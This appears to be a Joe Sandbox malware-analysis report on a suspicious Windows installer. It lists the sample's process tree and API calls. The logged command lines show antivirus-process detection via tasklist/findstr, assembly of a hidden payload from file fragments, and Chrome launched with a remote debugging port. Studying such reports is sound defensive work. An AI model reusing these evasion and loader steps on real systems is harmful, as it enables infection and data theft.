2024-12-06 08:42:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Target ID:	0
Start time:	03:40:34
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\Yn13dTQdcW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Yn13dTQdcW.exe"
Imagebase:	0x400000
File size:	1'192'690 bytes
MD5 hash:	82CCD973E00420A4768BC76D2F442F52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:40:35
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Premium Premium.cmd && Premium.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:40:35
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:40:38
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x6c0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:40:38
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0x720000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:40:39
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x6c0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:40:39
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x720000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:40:39
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 402438
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:40:39
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "integratedintlhandlingwaterproofcbperformtreasurertim" Recording
Imagebase:	0x720000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:40:40
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Coaches + ..\Hypothetical + ..\Nasty + ..\Fly + ..\Zum + ..\Disclose + ..\Expensive + ..\Argue N
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:40:40
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\Temp\402438\Suicide.com
Wow64 process (32bit):	true
Commandline:	Suicide.com N
Imagebase:	0x230000
File size:	893'608 bytes
MD5 hash:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	03:40:40
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0xbf0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:42:13
Start date:	06/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:42:14
Start date:	06/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2344,i,2585248863302198166,5180447785711478511,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	17.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21%
Total number of Nodes:	1482
Total number of Limit Nodes:	25

Executed Functions

Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040515B
GetDlgItem.USER32(?,000003EE), ref: 0040516A
GetClientRect.USER32(?,?), ref: 004051C2
GetSystemMetrics.USER32(00000015), ref: 004051CA
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
ShowWindow.USER32(?,00000008), ref: 00405266
GetDlgItem.USER32(?,000003EC), ref: 00405287
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
GetDlgItem.USER32(?,000003F8), ref: 00405179

Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00429574,74DF23A0,00000000), ref: 00406902

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

GetDlgItem.USER32(?,000003EC), ref: 004052D7
CreateThread.KERNELBASE(00000000,00000000,Function_00005073,00000000), ref: 004052E5
CloseHandle.KERNELBASE(00000000), ref: 004052EC
ShowWindow.USER32(00000000), ref: 00405313
ShowWindow.USER32(?,00000008), ref: 00405318
ShowWindow.USER32(00000008), ref: 0040535F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
CreatePopupMenu.USER32 ref: 004053A2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
GetWindowRect.USER32(?,?), ref: 004053CA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
OpenClipboard.USER32(00000000), ref: 00405437
EmptyClipboard.USER32 ref: 0040543D
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
GlobalLock.KERNEL32(00000000), ref: 00405453
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
GlobalUnlock.KERNEL32(00000000), ref: 00405489
SetClipboardData.USER32(0000000D,00000000), ref: 00405494
CloseClipboard.USER32 ref: 0040549A

Strings

New install of "%s" to "%s", xrefs: 004051AE
{, xrefs: 0040537E

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: New install of "%s" to "%s"${
API String ID: 2110491804-1641061399
Opcode ID: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
Opcode Fuzzy Hash: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58

Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038CE
SetErrorMode.KERNELBASE(00008001), ref: 004038D9
OleInitialize.OLE32(00000000), ref: 004038E0

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
CoUninitialize.COMBASE(?), ref: 00403AFD
ExitProcess.KERNEL32 ref: 00403B1D
lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C

Strings

\Temp, xrefs: 00403A47
NSIS Error, xrefs: 0040390E
/D=, xrefs: 004039D2
_?=, xrefs: 00403A90
SeShutdownPrivilege, xrefs: 00403C42
Error launching installer, xrefs: 00403AA9
NCRC, xrefs: 004039A8
~nsu.tmp, xrefs: 00403B23

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
